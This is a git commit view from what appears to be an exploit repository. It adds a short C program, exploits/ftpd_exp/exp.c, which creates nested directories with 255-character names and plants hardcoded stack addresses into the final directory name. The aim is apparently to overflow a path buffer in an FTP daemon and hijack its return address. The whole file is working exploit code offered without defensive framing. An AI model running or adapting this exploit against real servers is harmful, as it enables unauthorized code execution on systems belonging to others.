summaryrefslogtreecommitdiff
path: root/exploits/ftpd_exp/exp.c
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /exploits/ftpd_exp/exp.c
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'exploits/ftpd_exp/exp.c')
-rw-r--r--exploits/ftpd_exp/exp.c25
1 files changed, 25 insertions, 0 deletions
diff --git a/exploits/ftpd_exp/exp.c b/exploits/ftpd_exp/exp.c
new file mode 100644
index 0000000..5f80d44
--- /dev/null
+++ b/exploits/ftpd_exp/exp.c
@@ -0,0 +1,25 @@
1#include <stdio.h>
2#include <unistd.h>
3
4int
5main (int argc, char **argv)
6{
7 char buf[512];
8
9 memset (buf, 'a', 255);
10 buf[255] = '\0';
11 if (mkdir (buf, 0700) < 0) {
12 perror ("mkdir");
13 return (-1);
14 }
15 chdir (buf);
16 mkdir (buf, 0700);
17 chdir (buf);
18 mkdir (buf, 0700);
19 chdir (buf);
20 *(unsigned int *)(buf + 156) = 0xbfbffa2d;
21 *(unsigned int *)(buf + 160) = 0xbfbff361;
22 *(unsigned int *)(buf + 164) = 0xbfbff361;
23 mkdir (buf, 0700);
24
25}